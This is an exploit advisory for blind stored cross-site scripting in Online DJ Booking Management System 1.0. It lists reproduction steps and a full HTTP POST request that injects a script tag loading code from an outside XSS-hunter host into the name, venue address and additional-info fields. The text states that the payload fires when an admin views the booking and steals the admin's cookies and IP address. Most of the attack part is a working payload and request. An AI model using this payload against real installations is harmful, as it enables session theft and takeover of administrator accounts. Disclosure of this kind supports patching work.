Online DJ Booking Management System 1.0 Cross Site Scripting

`# Exploit Title: Online DJ Booking Management System 1.0 - 'Multiple' Blind Cross-Site Scripting  
# Date: 2021-10-06  
# Exploit Author: Yash Mahajan  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/  
# Version: V 1.0  
# Vulnerable endpoint: http://localhost/odms/book-services.php?bookid=1  
# Vulnerable Page URI : http://localhost/odms/admin/view-booking-detail.php?editid=10&&bookingid=989913724  
# Tested on Windows 10, XAMPP  
  
*Steps to Reproduce:*  
1) Navigate http://localhost/odms/book-services.php?bookid=1  
2) Enter Blind Xss payload `"><script+src=https://yourxsshunterusername.xss.ht>` in "name=","vaddress=" and "addinfo=" parameters and click on "Book".  
  
Request:  
========  
  
POST /odms/book-services.php?bookid=1 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 335  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/odms/book-services.php?bookid=1  
Cookie: PHPSESSID=crj216nrjq751tt0gs4o92undb  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
name="><script+src=https://biest.xss.ht></script>&[email protected]&mobnum=9999999999  
&edate=2000-10-24&est=6+p.m&eetime=1+p.m&vaddress="><script+src=https://biest.xss.ht></script>  
&eventtype=Pre+Engagement&addinfo="><script+src=https://biest.xss.ht></script>&submit=Book  
  
  
Now to confirm the vulnerability  
  
3) Login as admin by navigating to http://localhost/odms/admin/login.php.  
4) Now as soon as admin visits /view-booking-detail.php to approve the booking, payload fires and attacker will get the details like ip address, cookies of admin  
5) Able to steal admin's cookies successfully!!  
  
#POC  
https://ibb.co/Vj3jn2d  
https://ibb.co/bm9MGdG  
`